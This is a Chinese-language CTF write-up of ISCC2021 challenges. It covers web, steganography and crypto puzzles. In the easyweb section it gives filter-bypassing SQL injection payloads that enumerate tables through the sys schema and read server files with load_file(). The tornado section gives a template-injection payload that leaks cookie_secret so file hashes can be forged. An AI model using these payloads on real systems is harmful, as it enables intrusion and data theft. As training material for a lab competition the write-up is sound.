文章目录

  • 练武
    • easyweb
    • tornado
    • 李华的红包
    • 海市蜃楼-1
    • 美人计
    • 我的折扣是多少
    • 检查一下
    • 小明的宠物图
    • 小明的表情包
  • 擂台
    • ISCC客服冲冲冲(一)
    • 这是啥
    • Web01

练武

easyweb

很明显,本题需要进行sql注入但是并不知道注入点
经过测试,判断注入点为: 闭合符号用%23代替
在后面测试发现空格被过滤了,我们可以使用%0d进行绕过
尝试使用联合查询发现union,select,尝试使用双写进行绕过
payload
?id=0'%0dununionion%0dselselectect%0d1,2,3%23
得到显示位
根据一贯风格,爆数据库名

?id=0'%0dununionion%0dselselectect%0d1,database(),3%23


然后是爆表名,经过测试发现from、information_schema同样也被过滤了

1、from 则可以尝试进行双写或者大写转换等进行绕过
2、information_schema的话则可以尝试同类型进行转换,查看版本,5.7.33,存在sys数据库,所以可以利用sys数据库查出表名


构造payload
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_table_statistics_with_buffer),3%0d%23

得到表名
判断列数
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_auto_increment_columns),3%0d%23
表名都是iscc_flag
盲猜列名是:flag
构造payload

?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dfrom%0discc_flag),3%0d%23


进入该页面得到源码进行分析

`<?php

if(isset($_GET[‘c’])){
c=c=c=_GET[‘c’];

if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){exit("die!!");
}else{echo `$c`;
}

}else{
highlight_file(FILE);
}
?>

`

似乎没什么发现,26个英文字母表对比一下上述的英文字符zxcvbMnlkjhgfsaoiuytreq
发现没被过滤的字母有dmpw,执行pwd获取文件路径,
获取flag位置,使用load_file()方法
?id=0'%0dununionion%0dseselectlect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%0d%23


或者是
?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23 //此路径为默认
获取网站路径


在源代码中查看flag

tornado


进入三个路径的文件,发现flag.txt中flag在/fllllllllllllaaaaaag中;
welcome.txt中提示render函数,百度一下存在render函数的模板注入;
hints.txt告诉我们md5(cookie_secret+md5(filename)) 发现我们需要进行md5

查看hints.txt的路径

http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15

有filehash参数,根据所给出的提示filehasc的值是MD5处理,有了filehash还需要有cookie_secret这一步可以参考之前的题型,有大佬做出明确解释看这里
构造payload

error?msg={{handler.settings}}


得到cookie_secret,计算hash值
拿到大佬脚本

import hashlibdef md5encode(str):m = hashlib.md5()m.update(str)return m.hexdigest()name = '/fllllllllllllaaaaaag'
secret = 'ef57c331-744f-4528-b434-9746317d4f6a'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)

李华的红包


010Editor打开

24,43,13,13,12,21,43

尝试了一下,有点像敲击码

最后得到flag:ISCCBFS

海市蜃楼-1

打开文档没什么有用的东西,把文档改成zip形式

点进去查找flag

美人计

打开文件,一张图片格式找到提示信息

很显然这是AES加密,密匙是ISCC2021
打开文档里面有一张二维码,扫描得到信息

U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=

进行三次解密得到字符:y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!

很是让人头大!!
试着将word文档改为压缩包,在ny4w1nbmry4m.zip\word\media中看到了两张image
其中一个就是那张二维码,还有另一张二维码,扫描出结果是

U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE


但是,进行AES解密失败,所以尝试了DES,即可得到flag

我的折扣是多少

下载好文件后,运行exe文件得到一串编码
pass1{\u006b\u0072\u0077},Unicode编码,解码后为pass1{krw}
在010Editor打开压缩包在尾部发现

cGFzczJ7Z2NjNjY2fQ==

进行base64编码得到:pass2{gcc666}
组合起来用密码:krwgcc666解开压缩包

eW91Zm91bmRtZT8=

base64解出来是:youfoundme?
接下来还剩一个MP3格式的文件MP3一般都是用MP3stego解密,接出来密码是youfoundme?
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}

进行base32解密

检查一下

解压后是一张图片,尝试进行binwalk进行分离
解压后的文件,发现有一个文档打开后01的字符串
联想到是01字符串画二维码
先看下字符串长度发现是841,而正好是29的平方,那应该就是二维码了

from PIL import Image
MAX = 29    #宽高 841个01字符串,所以宽和高是29
pic = Image.new("RGB",(MAX, MAX))
#若是(255,255,255)、(0,0,0)需要先转换01
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):for x in range (0,MAX):if(str[i] == '1'):pic.putpixel([x,y],(0, 0, 0))else:pic.putpixel([x,y],(255,255,255))i = i+1
pic.show()
pic.save("./flag.png")

得到二维码扫描

小明的宠物图

下载后是一张图片
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密

打开key.zip发现其中的key.txt只有5字节大小,结合那个兔子说的它需要碰撞应该是crc32碰撞,尝试发现(0_0)为密钥

小明的表情包


可以看到这是凯撒解密,但是偏移量是未知的,通过枚举:发现偏移量为:13时是英文日期,加上提示,年月日可以想到1999,但是月份和日期没有,都是数字,字节为8位可以使用Ziperello进行爆破



得到密码:07071999
然后打开文件时不支持的,所以在winhex中查看,发现它的文件头缺失了,然后补充好,得到图片

擂台

ISCC客服冲冲冲(一)


可以直接进行改票,但是会被检测到刷票行为

既然不发进行刷票,那就直接把对方的投票按钮给他关闭!
我们可以通过火狐浏览器F12进入开发者模式,对源码进行修改直接讲对方的投票按钮删除

ISCC2021-部分题目再现相关推荐

  1. 2014年TI杯邀请赛——简易高速差分探头 题目解析

    TI倍邀请赛马上就要开始了,多做几个题练练手,所以以后几期都是关于TI杯邀请赛的,敬请期待. 一.题目再现(完整题目已经上传) 任务:设计并制作一个简易有源高速差分示波器探头,实现差分输入.单端输出功 ...

  2. 2019大学生电子设计竞赛—简易电路测试仪及2020TI杯邀请赛校内选拔—差分放大测试装置题目解析

    在十天之前,刚做了2019年大学生电子设计竞赛的题目-简易电路特性测试仪,然后在三天前参加TI杯邀请赛校内选拔赛,题目就是国赛题的改编,只不过多了很多其他要求.为此,这期的题目解析就把这两道题放一起来 ...

  3. Lotto(DFS处理)

    题目再现 题目内容: 给定N个数字,再从中选定M个数字出来. 将每一种组合内的数字由小到大排列之后, 将所有组合按照字典序排列, 请你找出第X组的第Y个数字. 给定的数字为1~N. 范例1 (N,M, ...

  4. Maze(BFS处理)

    题目再现 题目内容: 给你一个迷宫, S为起点,E为终点. 请你找出走出迷宫所需要花费的最短步数. 你只能往上下左右四个方向移动.输入格式: 第一行有一个数字T,代表有T组测资. 每组测资的第一行有两 ...

  5. Adjacent Node Sum(邻接表处理)

    题目再现 题目内容: 给定一个节点有权重的图, 请你计算与一个节点相邻的所有节点的权重和. 节点编号为1~N. 每个节点的编号即为他的权重.输入格式: 只有一组测资. 第一行有三个数字,N.M.Q. ...

  6. Species Tree(HashTable实现)

    题目再现 题目内容: 给定一个物种演化图, 关系的表示方式如下: x y : 表示x为y的先祖. 一个物种只会有一个先祖, 一个先祖可以有很多个演化出来的物种, 请你找出每个问题询问物种的祖父物种(先 ...

  7. Find the Kth number(找第K大数)

    题目再现 题目内容: 给定N个排序好的序列,每个序列内有M个数字.因此我们总共有N*M个数字,编号为1~N*M. 将N*M个数字排序后输出第K个数字是多少.Hint : 直接将N*M个数字做排序会超过 ...

  8. py实战绘制人口金字塔图

    大家好,我是执念斩长河,一个刚刚学习python绘图的学渣.今天非常开心阅读了<python数据可视化>(黑马程序员编著)其中的"绘制人口金字塔图"章节被我成功运行出来 ...

  9. JavaScript|表格隔行变色(可作模板copy)

    本博文源于js基础,主要实现表格的隔行变色. 题目再现 想让表格产生隔行变色的效果. 解题思路 若手动给所有的奇数行或者偶数行设置某个类名,则显地太麻烦.使用js可以简化这种重复工作. 测试效果 附上 ...

  10. DS实验4--求单链表交集与差集(含测试效果及实现)

    本次实验包含求单链表的交集和差集,并作用在一个单链表的上面,为了实现两个函数的测试,需要用到几个函数.第一:1.初始化 2.尾插法 3.删除节点 4.遍历节点.这四个函数写好后,我们就可以愉快的给1交 ...

最新文章

  1. LeetCode简单题之图像渲染
  2. Django学习笔记之Django QuerySet的方法
  3. linux运维前景与运维人员最佳职业规划录像
  4. iOS网络编程-配置iCloud-图文解说
  5. 自动配置原理精讲||@Conditional ||怎么知道哪些自动配置类生效? 启用debug=true属性(在配置文件配置);
  6. mybatis基于注解的入门案例
  7. C# 基础知识 (三).主子对话框数值传递
  8. 【数据结构与算法】之深入解析“分割数组的最大值”的求解思路与算法示例
  9. 汇编语言学习笔记-按指定的字体输出文本
  10. 用java正则表达式验证字符串(邮箱与网址)
  11. 《Linux From Scratch》第三部分:构建LFS系统 第六章:安装基本的系统软件- 6.69. Vim-7.4...
  12. 超级电容怎么才能把内阻做小_骆驼电瓶怎么样?
  13. 华为matebook和linux版本区别,华为MateBook14Linux版本开箱评测 | 从来没有让我们失望!...
  14. 小米pro15拆机_小米pro拆机图解(8步)
  15. 论文阅读:Reducing Transformer Depth On Demand With Structured Dropout
  16. 戴尔惠普联想笔记本性价比(戴尔和联想笔记本性价比)
  17. fastapi--安装
  18. 广州计算机专业分数线,广东人工智能专业分数线多少
  19. QuestaSim里覆盖率的查看
  20. Warning: Failed to parse host xx.xx.com

热门文章

  1. Unrecognised input. Possibly missing opening ‘{‘
  2. [WARNING] Corrupted STDOUT by directly writing to native stream in forked JVM 1
  3. c语言求数组中绝对值最小值,c语言中求绝对值的数学函数
  4. EasyGUI-1:模块基础
  5. Android 键值映射
  6. 五、肿瘤全基因组学体细胞结构突变特征(Patterns of somatic structural variation in human cancer genomes)
  7. java 求100天之后是周几
  8. 最新二开微信表情包小程序+前后端 【去授权版】
  9. protobuf 中 repeated fields 细节
  10. 浅谈HTTP中Get、Post、Put与Delete的区别